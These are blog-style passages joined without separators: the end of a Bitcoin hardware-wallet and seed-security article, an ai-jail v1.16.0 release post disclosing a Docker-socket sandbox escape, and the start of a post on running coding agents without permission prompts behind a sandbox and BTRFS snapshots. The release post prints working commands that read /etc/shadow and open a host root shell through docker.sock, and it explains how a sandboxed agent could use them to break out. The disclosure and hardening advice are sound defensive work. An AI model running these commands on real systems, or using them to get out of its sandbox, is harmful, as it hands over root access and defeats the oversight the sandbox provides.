That calculation assumes a fair die and independent rolls. A cheap promotional plastic die may have bubbles, poorly cut faces, and a shifted center of mass. Your hand may repeat a motion, the tray may favor one position, and many people “roll again” when the die lands near an edge. Every human decision made after seeing the result introduces bias.

If I were generating a seed manually today, I would use precision casino-grade dice from more than one manufacturer or batch. BitBox itself recommends five casino-grade dice for its manual procedure. I would define the reading order ahead of time, use a tray that lets the dice bounce, and accept every valid roll according to a rule written before I started. No rerolling because it “didn’t mix properly.”

Even then, I would not trust the dice alone. I would mix independent sources: more than one set of dice, coin flips, entropy from an offline host, and a hardware TRNG when the device supports it. Making hundreds of rolls is cheap. The care lies in feeding everything to an audited mechanism that performs the cryptographic combination. Adding numbers, picking the “most random” words, or concatenating pieces of mnemonics yourself is a recipe for losing funds.

Check what your device actually implements. In Ledger’s documented new-wallet setup, the Secure Element TRNG generates the entropy. In restore mode, the words must reconstruct exactly the same keys. The TRNG cannot add secret entropy on top of the imported mnemonic because that would create another wallet and destroy the purpose of a backup. Restoring a seed made with dice therefore transfers custody and signing to the device, but it does not improve the original randomness.

With a commercial hardware wallet, I would choose one of two paths: generate a new root through the official flow of an updated device that documents how it combines independent sources, or generate BIP39 outside it through an auditable and fully offline process, then enter the words only through the signer’s screen and buttons. A seed created in MetaMask, a website, or a connected laptop and later restored into a Ledger remains a hot seed. Ledger summarizes this well: move, don’t merge.

BTC D00M Guy has a visual Portuguese-language tutorial on BIP39, dice, and recovery testing. It is a good introduction to seeing the process, but I would not literally copy the old-phone-in-airplane-mode step for serious wealth. Airplane mode does not prove the device was clean, does not physically remove its radios, and formatting flash afterward gives me no verifiable erasure guarantee. It is fine for learning and rehearsal. To create the seed for my life savings, I prefer hardware with no radio, a verified ephemeral system, or a dedicated signer.

The rolls become a secret the moment you decide to use them. Do not photograph them, dictate them out loud, keep them in a phone note, or type them into a website. SeedSigner’s documentation recommends that any verification of a real seed happen on an ephemeral system such as Tails, fully offline and discarded after the test.

More entropy does not fix a bad process either. One hundred rolls recorded by a cloud-connected camera are worth zero against someone who has the video.

Passphrase: another wallet, not another password

In BIP39, the mnemonic is the main input to PBKDF2-HMAC-SHA512. The salt is the string mnemonic concatenated with the passphrase, and the function runs 2,048 iterations. Every passphrase produces a valid wallet. One wrong character does not display “incorrect password”; it opens another, usually empty wallet.

A long, random, unique, and independent passphrase can protect an exposed or weak mnemonic. In the ColdCard case, it adds a secret that did not come from the defective RNG: the attacker must combine every mnemonic candidate with a passphrase attempt. If that passphrase has enough entropy and never leaked, the attack may become infeasible again.

But a quote, human pattern, or reused password becomes an offline dictionary attack with no rate limit. BIP39’s 2,048 iterations do not turn a weak passphrase into a strong one. And losing it is just as final as losing the words. A hardware wallet PIN does not replace a passphrase. The PIN protects the physical device; the passphrase participates in key derivation.

Store the passphrase separately from the mnemonic and test a complete recovery before depositing a meaningful amount. Record the expected fingerprint and at least one address as well. During recovery, they tell you whether you opened the correct wallet.

In the ColdCard case, do not add a passphrase to the vulnerable seed now and call that a migration. Create a new root. The passphrase may be part of the new architecture, but the bitcoin must leave scripts derived from the old root.

Sparrow, air gaps, and PSBT

Sparrow is the coordinator I use. It knows descriptors, xpubs, addresses, UTXOs, and history. It can construct a transaction, but in a watch-only configuration it has no private key with which to sign.

This is where PSBT, standardized in BIP174, comes in. Sparrow creates a Partially Signed Bitcoin Transaction with the inputs, outputs, amounts, and derivation data required. The file or QR code goes to the offline signer. The signer reviews it, adds its signature, and returns the PSBT. In multisig, the same package moves through the remaining signers until it reaches quorum. Sparrow combines, finalizes, and broadcasts it.

The air-gapped single-sig flow looks like this:

1. Sparrow creates the transaction on the online computer.
2. You export the PSBT through QR code or microSD.
3. ColdCard, SeedSigner, or another device displays the destination, amount, and fee.
4. You verify them on the signer’s screen and sign.
5. Sparrow imports the signed PSBT, finalizes it, and broadcasts it.

An air gap reduces the attack surface. It is not a force field. QR codes and microSD still carry data, malicious firmware remains malicious firmware, and a compromised coordinator can try to replace the destination or change address. The signer’s screen exists so you can compare the address, amount, and fee before pressing Confirm.

And an air gap cannot improve entropy retroactively. A vulnerable ColdCard could spend its entire life without a USB cable. The key was already born weak.

2-of-3 multisig: safer and much more bureaucratic

Single-sig concentrates everything in one seed, one backup, and one implementation. Among options available today, 2-of-3 multisig with genuinely independent signers is the closest thing I know to maximum security against that single point of failure.

You create three independent seeds on signers from different manufacturers and codebases. Sparrow creates a policy requiring two signatures. One device may break or one seed may leak without immediately surrendering the funds. Two signers remain enough for recovery.

“Independent” is once again the word doing the work. Three hardware wallets fed by three child seeds from the same BIP85 root still depend on one root. Three seeds generated by the same vulnerable ColdCard repeat the risk. Use separate processes and entropy sources. I might combine, for example, a commercial signer from another manufacturer, a SeedSigner using dice, and a third device with a different architecture.

In Sparrow, the conceptual procedure is:

1. Create and back up each seed separately.
2. Export the fingerprint, derivation path, and xpub from each signer.
3. Create a Multi Signature wallet, normally Native SegWit, with a 2-of-3 policy.
4. Import all three keystores and back up the wallet’s output descriptor.
5. Record which signers correspond to which fingerprints.
6. Verify one receiving address on more than one signer.
7. Make a small deposit, restore and test the signers, and perform a complete trial withdrawal.

The descriptor cannot spend by itself, but it reveals every address and the full history. It is a necessary backup for reconstructing the policy and also sensitive privacy data. Keep copies in locations separate from the seeds.

When spending, Sparrow creates the PSBT; signer A signs; signer B signs; Sparrow combines and broadcasts. Every person or device must review the outputs. Multisig run by an operator who confirms everything automatically merely distributes the same mistake across three screens.

None of this is a mystery to me. I still find it bureaucratic as hell: three seeds, three backups, an output descriptor, separate locations, two devices for every spend, firmware updates, and a recovery plan that another family member must be able to execute when you are no longer around.

Every layer reduces one technical risk and creates another opportunity for the operator to make a mistake. Usability is part of security too. If the architecture becomes so annoying that you stop testing backups, stop updating signers, or cannot document inheritance, the perfect multisig diagram is not worth much.

I completely understand anyone who prefers to stay with single-sig and a strong, independent, well-stored passphrase. It is much easier to operate. Just make that choice knowing you accept more risk: you still depend on one root and one signing path. If that point fails, the entire wallet falls with it. A passphrase adds a barrier; it does not add a second independent signature.

Sparrow’s best practices guide recommends 2-of-3 using hardware wallets from different vendors and backups stored in separate locations.

If one key in your 2-of-3 came from an affected ColdCard, the attacker potentially already controls that key and can produce a signature. They still cannot spend alone, but your effective threshold has fallen: now they only need to compromise one more signer. Create a new multisig wallet with a new cosigner and move the funds. You cannot “replace one key” while keeping the same addresses; the policy changed, so the scripts change too.

Fulcrum fixes privacy, not a weak key

Sparrow needs to query the blockchain. On a public Electrum server, it requests the history of script hashes derived from your addresses. The server can correlate queries, timing, and IP address to group balances and history, even without receiving the raw xpub. To avoid that, I connect Sparrow to my own Bitcoin Core node through Fulcrum.

I showed the architecture and installation in Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum. That article remains useful, with one obvious correction: do not use a seed generated by affected ColdCard firmware.

Your node validates the blockchain. Fulcrum indexes it and responds quickly to Sparrow. That improves sovereignty and query privacy. Neither can stop an attacker from signing with a private key they reproduced from bad entropy.

How I would migrate today

Do not turn one emergency into a second accident. I would follow this order:

1. Take inventory. List the model, firmware that generated the seed, accounts, passphrases, derivation paths, and every multisig in which that key participates. Do not post balances or addresses on social media.
2. Treat the seed as compromised. Do not enter it into online software or accept any third-party “checker.” Keep signing on the device only for as long as it takes to leave.
3. Choose the new architecture. I would not generate the new seed on a ColdCard. Use another new signer bought directly from the manufacturer, a SeedSigner, or 2-of-3 with different implementations. Do not import the old words into it. If you insist on reusing your ColdCard, first install the corrected firmware for the proper model and release track.
4. Generate new entropy. Use independent sources and an audited mixer. For dice, use casino-grade material, multiple sources, and at least 99 rolls for a 24-word mnemonic. I would do more.
5. Back up before receiving. Mnemonic, separate passphrase, fingerprints, and the descriptor for multisig. Never photograph any of them or store them in the cloud.
6. Test recovery. Recreate the wallet and verify fingerprints and addresses. In multisig, prove that two keys can sign without depending on the third.
7. Verify the address on the screen. Do not trust only what Sparrow displays on the computer monitor.
8. Send a small amount. Confirm that the new wallet can receive and spend. Coinkite also recommends this test.
9. Move the rest immediately afterward. Review the fee and every output. Look for balances in other accounts, passphrases, and change addresses derived from the old seed.
10. Keep the old backup marked as compromised. Retain it until you are certain the migration confirmed and no delayed deposit will arrive. Never reuse an old address.

If the attacker is racing you, do not spend a week designing the perfect multisig. Create a safe, verified destination, perform the minimum test, and move the funds beyond the old key’s reach. You can reorganize UTXOs and improve the architecture later, with time to think.

So which hardware wallet do I recommend?

Today, none.

After explaining entropy generation, BIP39, passphrases, PSBT, air gaps, descriptors, and multisig, it should be clear that fully offline, hand-built self-custody is very hard. I do not expect a normal person to master the mathematical implications, audit every algorithm, and execute every step without error. Most programmers could not do it either. I will not pretend I can review the entire chain alone, from silicon to the firmware running on the device.

That is exactly why hardware wallets exist. They package complicated cryptography and procedures into an interface a person can operate. This transfers part of the responsibility to the manufacturer; it does not make trust disappear.

Leaving your life savings in an exchange account remains the worst default. You do not have the keys and depend on the company’s solvency, withdrawal policy, legal system, and account security. But a handmade setup you do not understand can also end in total loss. There is no point eliminating counterparty risk only to replace it with a ceremony nobody can restore after a fire or your own death.

For years, the hardware wallet was treated as the last safe haven between those extremes. Coinkite shook trust in the entire category. That does not mean Ledger, Trezor, BitBox, Passport, Jade, SeedSigner, and everyone else are broken or equivalent. It means a strong name, secure element, air gap, visible code, and years on the market are not enough. I can no longer point to one device and say, “buy this and sleep well.” You will have to do your homework.

NEVER buy a second-hand hardware wallet. Buy it new, directly from the manufacturer’s official store. Do not save on shipping by placing your life savings in a device that passed through a stranger’s hands. Marketplace listings, auctions, eBay, “open box,” refurbished hardware, and that unbelievable deal from a friend are all out of the question.

When the package arrives, do not tear everything open and start pressing buttons. Open the official documentation for that model and follow its supply-chain verification. ColdCard uses serialized packaging that shows evidence of opening: the number appears on the bag, an internal tab, and the device itself. Trezor documents the holographic seals for each model. BitBox combines sealed packaging with cryptographic attestation performed by its app.

Check the seal, cuts, glue, serial number, box contents, and the authenticity mechanism shown by the device or official software. Any mismatch ends the setup: do not connect a seed, do not “see whether it works,” and contact the manufacturer. The device must arrive without an initialized wallet and generate new words in front of you. A seed printed inside the box is a scam.

And watch the terminology: all of this is tamper-evident, not tamper-proof. ColdCard’s own documentation admits a bag can be attacked; BitBox says perfect packaging does not guarantee authenticity. An intact seal is one layer. I still want attestation or a genuine check, signed firmware, hash verification where available, and a complete test with a small amount of money.

I would start with these questions:

1. What is the published threat model? The manufacturer must say what it protects against and, more importantly, what remains out of scope: an infected computer, stolen device, physical laboratory attack, supply chain, targeted firmware, coercion. “Military-grade security” is not a threat model.
2. Where does the entropy come from, exactly? Find the sources, how they are combined, and which end-to-end tests prove the New Wallet flow reaches the promised RNG. Support for dice or external entropy helps only when the mixing mechanism is documented and audited. The ColdCard case showed that having the correct TRNG inside the binary does not mean seed generation uses it.
3. Is the code actually free, and does the binary correspond to it? “Source available” under a restrictive license is not FOSS. Open code permits audits, but does not prove anyone performed one. A reproducible build lets third parties rebuild the firmware and compare it bit for bit. Look for current independent verifications on WalletScrutiny, not just the manufacturer’s promise.
4. How does the company treat people who find flaws? Read the disclosure policy, scope, and bounty amounts. Look for old advisories, CVEs, postmortems, and conversations with researchers. A company that publishes a vulnerability, explains its cause, fixes it quickly, and thanks the researcher deserves more trust than one with a supposedly “perfect” history. Sometimes nobody found a vulnerability because nobody competent had an incentive to look.
5. What can you verify on the trusted screen? Before signing, the device should display the address, amount, fee, and change. It should verify receiving addresses on its own display, allow PIN and passphrase entry without handing them to the computer, and correctly register the multisig policy. A secure element protects a key; it cannot rescue an interface that makes you sign without understanding the outputs.
6. Is there an exit route without the manufacturer? I want interoperable standards: BIP39/BIP32 where applicable, PSBT, and output descriptors. I want to export xpubs, fingerprints, and descriptors, use Sparrow, connect my node, and recover through another implementation. Mandatory accounts, proprietary clouds, and backups that open only in the company’s app are lock-in built on top of the key to your life.
7. How do the hardware, firmware, and supply chain work? A secure element, ordinary microcontroller, and stateless signer make different tradeoffs. Find out what persists on the device and what a physical attacker can extract. Releases should be signed, have useful changelogs, prevent unsafe downgrades, and receive maintenance for years. Research how the device proves authenticity, how the company documents packaging and transport, what happens if the update server disappears, and which closed components exist. An air gap is not a magic seal either: QR, NFC, and microSD are input parsers and remain an attack surface.
8. Can you recover without improvising? Before depositing meaningful value, generate the wallet, back it up, erase the device, and recover. Verify the fingerprint, an address, and a complete round-trip transaction. In multisig, restore the descriptor and prove the quorum works without one key. An untested backup is hope, not a backup.

I would also research the repository history, security issues, recent commits, independent audits, and the time between a vulnerability report and its fix. I would search for the model name alongside vulnerability, reproducible build, seed entropy, multisig, and responsible disclosure. An influencer review with an affiliate link is useful for seeing the screen and device size, not for deciding where to store your wealth.

For small amounts, a thoroughly researched commercial signer may be much less risky than a handmade invention. For wealth that changes your life, 2-of-3 with different manufacturers and codebases remains the reference, as Sparrow’s guide recommends. It limits the damage from one compromised vendor, but demands more backups, more testing, and a well-documented policy. Multisig you cannot restore is worse than well-maintained single-sig.

In some collaborative custody services, a company holds one key in a 2-of-3 setup. It should not be able to spend alone, but it learns information about your wallet and can disappear, deny service, or complicate recovery. A professional custodian also exchanges technical risk for legal and counterparty risk. In the end, you choose which risk you carry and which you hand to someone else.

The best recommendation I can offer is not a brand. Choose an architecture proportional to the amount and determine which failures it tolerates. Before depositing money that would hurt to lose, run the entire flow with a small amount: receive, spend, erase one signer, restore the backup, and see whether you can return on your own.

Conclusion

Self-custody removes the custodian but leaves a brutal responsibility behind. Trust remains spread across silicon, firmware, the compiler, the build process, the wallet coordinator, and your own discipline. Hardware wallets remain useful because doing everything by hand is impractical for almost everyone. The mistake is confusing the tool with a guarantee.

I do not recommend a specific brand today. I prefer to distribute risk and create ways to catch failures: independent entropy sources, free code, reproducible builds verified by third parties, rehearsed recoveries, different signers, and multisig when the amount justifies it and you accept the bureaucracy. Single-sig with a passphrase is an understandable choice. It simply does not provide the same fault tolerance. Make that choice knowing what you delegate and which risk you decided to keep.

This may become one of the worst episodes in the history of Bitcoin self-custody. Not because someone left coins on a shitty exchange, typed a seed into a phishing site, or installed a pirated wallet. Many people bought a dedicated device, wrote down 24 words, kept the backup in steel, kept everything offline, and signed through an air gap. They did exactly what Bitcoin culture taught as the correct procedure. A nasty bug still caught them at the most important moment of all: choosing the root.

In the worst cases, the RNG reduced the universe to something around 2^40. The attacker does not need to touch the ColdCard. They enumerate possible states, derive the most likely BIP32 trees and addresses, query the public blockchain, and find which candidates hold UTXOs. Once they find one, they also have the private keys needed to sign. The ColdCard may be powered off, without a battery or USB cable, and locked in a safe. It makes no difference. An air gap protects the path between signer and computer; it cannot recover entropy that never existed.

There was no visible warning. The wallet received, signed, and restored normally until the day someone else reproduced the same key. That is why 12 versus 24 words, air gap versus USB, and secure element versus microcontroller become secondary debates when nobody tested whether the New Wallet button called the correct RNG.

It also shows why I refuse to call negligence a black swan. The source was open, the path was auditable, and the culture pushed away some of the people most capable of spotting problems. It was a white swan waiting for someone to look in the right direction.

The lesson is not to abandon self-custody. It is to stop outsourcing understanding. Study the threat model, find out how entropy is generated, inspect the manufacturer’s history, rehearse recovery, and know which risks remain concentrated. Do not blindly trust a company, certification, influencer, tutorial, or article. Not even this one. Verify.

I have already moved my funds from the old ColdCard. In practice, if you own any ColdCard, do the same. There is no prize for finding out too late that your case had another undocumented exception.

Choose the new architecture using the criteria above. Generate a completely new root. Mix genuinely independent entropy. Test the backup. Verify the addresses. Move everything.

The report checked out, and the fix is already available in v1.16.0.

Update to v1.16.0

If you use ai-jail, the update is the usual drill:

# Arch Linux (AUR)
yay -Syu ai-jail-bin

# Homebrew (macOS / Linux)
brew update && brew upgrade ai-jail

# crates.io
cargo install ai-jail --force

# mise
mise cache clear && mise upgrade github:akitaonrails/ai-jail

What changed in v1.16.0

Up through v1.15.x, ai-jail mounted the Docker socket inside the jail automatically whenever /var/run/docker.sock existed on the host. Read-write. No warning, no flag, no asking for your opinion. I documented this in the README as “favors usability,” and it was true: a coding agent often needs to run docker compose to bring up a test database, and the automatic passthrough saved some configuration.

Starting with v1.16.0, the behavior flipped:

• Socket passthrough is now off by default. It only goes in if you explicitly ask for it with the --docker flag or no_docker = false in .ai-jail.
• When you enable it and a host socket exists, ai-jail prints a launch warning spelling out that this amounts to giving host root to the process inside the jail.
• ai-jail status now shows Docker as disabled (default), so nobody thinks it got turned on by accident.
• In --lockdown and browser profile modes the socket never goes in, same as before.

A behavior change, yes, and a deliberate one. If your workflow depends on Docker inside the jail (mine does, in a few projects), opting in is one line in the project’s .ai-jail:

no_docker = false

The field name is ugly (no_docker = false to turn it on, I know), but old configs keep parsing the same way, and --no-docker / no_docker = true work as before. Only the default changed. The details are in the v1.16.0 release notes.

What issue #88 showed

mdindoffer’s report is the kind every maintainer wants to get: precise summary, a repro in a few lines, a fix proposal. The gist:

ai-jail was mounting the raw Docker socket inside the sandbox, read-write. The Docker daemon runs as root on the host. So an agent inside the jail could run this:

docker run --rm -v /:/host alpine sh -c 'cat /host/etc/shadow'

And that’s the ballgame. Read any file on the host, as root. It defeats the tmpfs $HOME, --mask, --deny-path, and Landlock in one move, because the action no longer happens inside the sandbox: it happens in the daemon, which lives outside and above any namespace bwrap created. The agent doesn’t even need to escape the jail when the jail has a door straight into the engine room.

In retrospect, shipping this on by default was a design mistake. I knew the passthrough was “dangerous” in the abstract, and I wrote as much in the README. What I hadn’t internalized: dangerous like this, with this default, is a vulnerability.

mdindoffer also proposed the definitive hardening path: instead of mounting the raw socket, put a filtered proxy in front of it (in the style of wollomatic/socket-proxy) that only accepts bind mounts from paths the agent can already write to inside the jail. It’s on the radar for a future release. To close the hole now, opt-in with an explicit warning fixes the default, which is where the problem lived.

The vulnerability class: docker.sock is root

This is not the first time I’ve run into this story, and I’d bet it isn’t yours either. “Whoever has access to the Docker socket has root on the host” is one of the classics of container security, documented by Docker itself on the daemon attack surface page: only trusted users should control the daemon, because Docker lets you share any host directory with a container, with no access restriction whatsoever.

The technical reason is simple. dockerd is a daemon that runs as root and obeys commands arriving through the API on the /var/run/docker.sock Unix socket. The docker CLI is just a client of that API. When you ask for docker run -v /:/host, the daemon is the one creating the container and mounting the host’s entire filesystem inside it, with full privilege. And a process inside a container runs as uid 0 by default, which the kernel sees as real uid 0 (barring user namespace remapping, which almost nobody turns on). The math checks out: write access to the socket equals root on the host. The docker group is passwordless sudo by another name.

The demo, on your machine

If you have Docker installed and your user in the docker group, reproduce it right now. No sudo, no exploiting any bug:

# confirm you're a regular user
$ id
uid=1000(akitaonrails) gid=1000(akitaonrails) groups=...,docker

# try reading /etc/shadow directly: denied, as expected
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

# now ask the daemon to do it for you
$ docker run --rm -v /:/host alpine sh -c 'head -3 /host/etc/shadow'
root:$6$...:...
bin:!:...
daemon:!:...

And if you want the whole nine yards, a root shell on your own host:

$ docker run --rm -it -v /:/host alpine chroot /host /bin/bash
# id
uid=0(root) gid=0(root) groups=0(root)

No exploit, no 0-day. You used the official API, the documented way, and went from regular user to root in one command. That’s exactly what an agent inside ai-jail could do until today, even with every layer (bwrap, Landlock, seccomp, rlimits) turned on.

Why does this still exist?

If everyone has known about this for over a decade, why hasn’t anyone “fixed” it? Short answer: this is architecture, and architecture doesn’t get patched.

• The root daemon with an all-powerful API was the design that made Docker simple to operate. Granular per-request authorization exists in the form of authorization plugins, but it’s opt-in, annoying to configure, and I can count on one hand the setups I’ve seen using it.
• userns-remap has been around since Docker 1.10 and maps container root to an unprivileged user on the host. It ships turned off, because it breaks compatibility with images and volumes that assume uid 0.
• Rootless mode runs the whole daemon as your user, with the socket at $XDG_RUNTIME_DIR/docker.sock. It works, but it has network and storage limitations, and the entire internet of tutorials assumes the root daemon at the classic path.
• Podman was born rootless and daemonless precisely because of this criticism. There’s a whole section about it below.

Bottom line: this is here to stay. Every tool that mounts /var/run/docker.sock into an environment “for convenience” opens the same hole, knowingly or not. CI mounting the socket for image builds, remote IDEs, code-server, AI agent sandboxes (hi, me), web dashboard plugins. The fix always lives on the side of whoever builds the environment.

Fun fact: this is anything but new

If you’ve been following me for a while, this whole story should give you déjà vu. Back in 2023 I recorded [Akitando #139] - Understanding How Containers Work, where I explain what a container actually is: an ordinary Linux process, throttled by cgroups, fooled by namespaces, with its capabilities trimmed. No magic and no virtual machine. And look at what was already sitting in that episode’s link list: a walkthrough of privilege escalation via Docker, demonstrating the exact docker run -v /:/host trick. The hole issue #88 exploited inside ai-jail is the same one I was already pointing at in a 2023 video, and it was old news long before that.

Nobody knows this better than Red Hat. Podman was born there in 2018 as a direct answer to that architecture: no central daemon, rootless by default. Every container becomes a direct child of your user, via fork-exec, with no all-powerful process running as root brokering anything. The whole “docker.sock is root” problem doesn’t exist in that model, because there’s no docker.sock, no daemon, and no root.

And before you ask: yes, I run Podman for some things and I recommend it. But it’s no perfect solution either, and it’s worth understanding why.

What Podman does well:

• The right architecture. Daemonless and rootless from day zero. The entire vulnerability class from this article stops making sense.
• CLI compatibility. alias docker=podman covers the overwhelming majority of day-to-day commands. Build, run, push, pull: same commands, same flags.
• systemd integration. Quadlets are, in my opinion, the cleanest way to run a container as a service on Linux. Docker never came close.

Where it stumbles:

• The compatibility socket isn’t 100%. Podman offers a socket compatible with the Docker API (podman.socket), and plenty of tools work on top of it. But “plenty” isn’t “all”: Testcontainers, some IDE plugins, more exotic CI tooling trip over behavioral differences. It works until the day it doesn’t, and then you lose an afternoon debugging.
• Compose is a second-class citizen. The official docker compose does talk to the Podman socket, and podman-compose exists, but neither has the polish of the original pairing. Projects with a complicated compose file are where migrations usually get stuck.
• Rootless has a price. Rootless networking (slirp4netns, and pasta these days) has limits: no ping by default, weird source IPs, lower throughput. Images that assume uid 0 and volumes with wrong permissions need fiddling. Nothing fatal, but it’s friction.
• Docker Desktop is a product. On macOS and Windows, Docker Desktop delivers a polished experience that Podman Desktop is still catching up to. For a lot of people, that’s the only contact with containers they’ll ever have.

Add it all up and you get the answer to why the world stays on Docker: ecosystem inertia. Every tutorial, every CI pipeline, every example image, every docker run pasted from Stack Overflow assumes the root daemon at the classic path. Docker became the name of the category, the Kleenex of containers. Moving to Podman is technically easy and politically expensive: it’s you against the accumulated knowledge of the entire internet.

One detail that matters for sandbox users: mounting the rootless Podman socket inside a jail is far less catastrophic than mounting the Docker one. The equivalent “daemon” runs as your user, so a malicious agent would gain your privileges, not root. Still bad (it could overwrite your ~/.ssh, for one), but a whole different ballgame. Even so, ai-jail’s default stands: don’t mount any socket, from any runtime. Opt-in is opt-in.

Best practices so this doesn’t bite you

The list I apply and recommend:

1. Treat the docker group as passwordless sudo. Before adding any user or service to it, ask whether you’d give that thing unrestricted sudo. Same thing.
2. Never mount /var/run/docker.sock into untrusted environments. AI agents, CI jobs running code from a stranger’s pull request, third-party containers. Run grep -r docker.sock over your docker-compose files, CI manifests, and tool configs. It shows up in more places than you remember.
3. Need to expose it to something semi-trusted? Use a socket proxy. wollomatic/socket-proxy and Tecnativa’s docker-socket-proxy sit between the client and the daemon with an endpoint allowlist and blocking of arbitrary bind mounts. Read-only by default; you enable only what you need.
4. Prefer rootless whenever possible. Rootless Podman on Linux is the cleanest path; Docker’s own rootless mode is the second option. The daemon stops being root and this entire class of problem loses its bite.
5. In CI, build images without a privileged daemon. Kaniko and Buildah build images rootless, with no socket mounted in the job at all.
6. Can’t go rootless? Turn on userns-remap. It costs an afternoon of testing with your volumes and buys real isolation between container root and host root.
7. In ai-jail, let the default work for you. Docker off, and --docker only in projects where you trust the workload the way you’d trust a sudo. Rule of thumb: if you wouldn’t blindly hand sudo to the agent in that directory, don’t hand it --docker either.

Conclusion

A well-built sandbox loses much of its value with a back door left open for convenience. bwrap, Landlock, seccomp, and rlimits in ai-jail keep doing their jobs, but none of them can see what happens when the process inside politely asks the host’s root daemon to mount the whole filesystem into a container. A security layer you don’t audit becomes decoration.

My public thanks to @mdindoffer: clean report, minimal repro, correct severity, and a solution proposal on top. That’s how you report a vulnerability to an open source project.

If you want the full context of how I use sandboxes day to day, I wrote about it in How Do I Protect Myself From My Agents Deleting My Stuff?. The ai-jail story is in AI Agents: Locking Down Your System and in the Rust rewrite.

Now go run the upgrade.

The next day, goodalexander reproduced the same behavior on a disposable devnet: an rsync --delete-delay against / swept away /var, /etc and his validators’ state, corrupting the filesystem to the point of needing an OS reinstall. His conclusion: “you can’t use this thing in prod”.

Cases like these pop up every so often since coding agents went mainstream. And every time, the discussion degenerates into the same two extremes: on one side “see? AI is dangerous, never let it run anything on its own”, on the other “whoever lets an agent loose on their system deserves what they get”. I find both sides lazy. Let me tell you my actual experience and what I do about it.

Five months of marathoning, zero accidents

Since February I’ve been marathoning Claude Code, Codex and OpenCode. Almost every day, almost all the time, in very long sessions that sometimes span multiple days. Blowing past the limits of my Anthropic Max plan and my OpenAI Plus plan with room to spare. The concrete result so far: almost 40 new repositories on my GitHub and more than 500 thousand lines of code produced.

And for the past two months I’ve been running everything exclusively in “YOLO mode”. For those unfamiliar with the jargon: by default, these agents ask for permission before each command they’re about to execute in your terminal. YOLO mode turns that safety off. In Claude Code it’s the --dangerously-skip-permissions flag, in Codex it’s --yolo, in OpenCode you configure the permissions to approve everything. The agent runs whatever it wants, whenever it wants, without asking me anything.

In five months under this regime, not once has an agent deleted a file I didn’t ask for. Not once has it run a destructive command out of scope. The frustrations I have with agents are of a different nature (stubbornness, lazy solutions, context getting lost), annoying things but miles away from an rm -rf in my home.

So when I see these reports, my first hypothesis always goes to the same place: the prompt. For an agent to “go berserk” like that, in general the user wrote very bad instructions. Vague, ambiguous, asking for cleanup without defining what counts as trash, telling the agent to “fix it” without giving context. Lack of communication skills combined with lack of technical knowledge to notice the request was poorly formulated. The agent executes the instruction you wrote, with all the ambiguities you left in it.

That said, I do NOT trust LLMs completely. Nobody should.

The difference is that my distrust turns into engineering instead of turning into a tweet.

Layer by layer, this is how I sleep well at night.

Layer 1: sandboxing with ai-jail

When I genuinely suspect a session might do something stupid (I’m about to touch system scripts, I’m going to let the agent run for hours unsupervised on code that touches the filesystem), I open the harness inside ai-jail, a tool of mine, open source, written in Rust.

ai-jail is a sandbox wrapper for coding agents. On Linux it uses bwrap (bubblewrap, the same foundation as Flatpak), on macOS it uses sandbox-exec. The idea: the process sees a filesystem that looks normal, but only the current project directory is real and persistent. The rest of $HOME, the sibling directories, /tmp, everything lives in tmpfs and evaporates when the session ends. The agent’s state (~/.claude, ~/.codex etc) is mounted for real so it stays logged in and configured, but ~/.ssh, ~/.gnupg, ~/.aws and browser profiles never enter the jail.

Installing is one command:

# Arch Linux
yay -S ai-jail-bin

# macOS / Linux via Homebrew
brew tap akitaonrails/tap && brew install ai-jail

# or straight from crates.io
cargo install ai-jail

And using it is even simpler:

cd ~/Projects/my-app
ai-jail claude       # Claude Code in the jail
ai-jail codex        # Codex in the jail
ai-jail --dry-run claude  # shows the policy without running

If the agent decides to run rm -rf ~ in there, it deletes a tmpfs that was going to vanish anyway. My real home was never even mounted. For anyone starting out with YOLO mode without battle scars yet, it’s the cheapest way to make mistakes without consequences.

Layer 2: BTRFS and snapshots (the real safety net)

Now the main point of this post. I’ve been advocating for YEARS that Linux users should use BTRFS instead of EXT4. I made an entire Akitando episode about it in 2023, long before coding agents existed to take the blame. The argument was the same: your data needs to survive human error. An LLM running rm -rf in the wrong place is just a new category of human error, outsourced.

Why is BTRFS superior for desktops? Copy-on-write (CoW): the filesystem never overwrites a block in place, it writes the new version to another block and updates the pointers. Checksums for data and metadata, so silent bitrot gets detected instead of quietly corrupting your file. Transparent compression. Subvolumes, which work like flexible partitions without fixed sizes. And the most valuable consequence of CoW: lightweight snapshots.

A BTRFS snapshot is instantaneous and costs close to zero space the moment it’s created. It freezes the pointers to the current blocks instead of copying data. Only what diverges from that point on (new or modified blocks) starts taking up extra space. In practice you can take dozens of snapshots a day without feeling it. At this very moment my machine keeps 23 system snapshots, and the cost is the difference between them, a few gigs.

Scheduling snapshots

The two classic tools are Timeshift and snapper. Timeshift is the friendlier one: graphical interface, you set “how many snapshots to keep” per hour/day/week/month and it handles the rest. It expects the @ (root) and @home subvolume layout, which is the default for most distros that install on BTRFS today. snapper (born at openSUSE) is more granular: per-subvolume configs, automatic timeline, package manager integration to snapshot before and after every install.

# Timeshift: manual snapshot before a suspicious session
sudo timeshift --create --comments "antes de soltar o agente"

# snapper: create a config for /home and enable the timeline
sudo snapper -c home create-config /home
sudo systemctl enable --now snapper-timeline.timer

My setup runs Timeshift on a schedule, plus grub-btrfsd on standby (I’ll explain why in a moment).

Recovering deleted files

Here’s the magic that everyone who lost files to an agent wishes they had. A BTRFS snapshot is browsable like a regular directory. The agent deleted your project at 3pm? The 2pm snapshot still has everything:

# with Timeshift, snapshots are mounted under /run/timeshift
sudo ls /run/timeshift/backup/timeshift-btrfs/snapshots/

# found the snapshot from before the damage? copy it back and done
sudo cp -a /run/timeshift/backup/timeshift-btrfs/snapshots/2026-07-11_14-00-01/@home/akitaonrails/Projects/meu-app ~/Projects/

With snapper it’s the same thing via .snapshots inside the subvolume, and it also has snapper undochange to revert specific changes between two snapshots. Recovery in seconds, no drama, no forensic tooling.

What if the system won’t even boot?

goodalexander’s case went beyond losing files: the agent swept /var and /etc and the system became unusable, requiring an OS reinstall. With BTRFS not even that would be necessary. This is the scenario grub-btrfs exists for: a daemon that watches your snapshots and regenerates the GRUB menu with a boot entry for each one.

System won’t come up anymore? Reboot, hold the GRUB menu, pick “snapshots” and boot straight into yesterday’s snapshot, read-only. From inside it, run timeshift --restore, pick the good snapshot, reboot again. Entire system back to its pre-disaster state, in less time than it would take you to find the installation USB stick. In the absolute worst case (GRUB itself went down with the ship), any live USB mounts the BTRFS partition, points the default subvolume back to the good snapshot and that’s that.

What about macOS? And Windows?

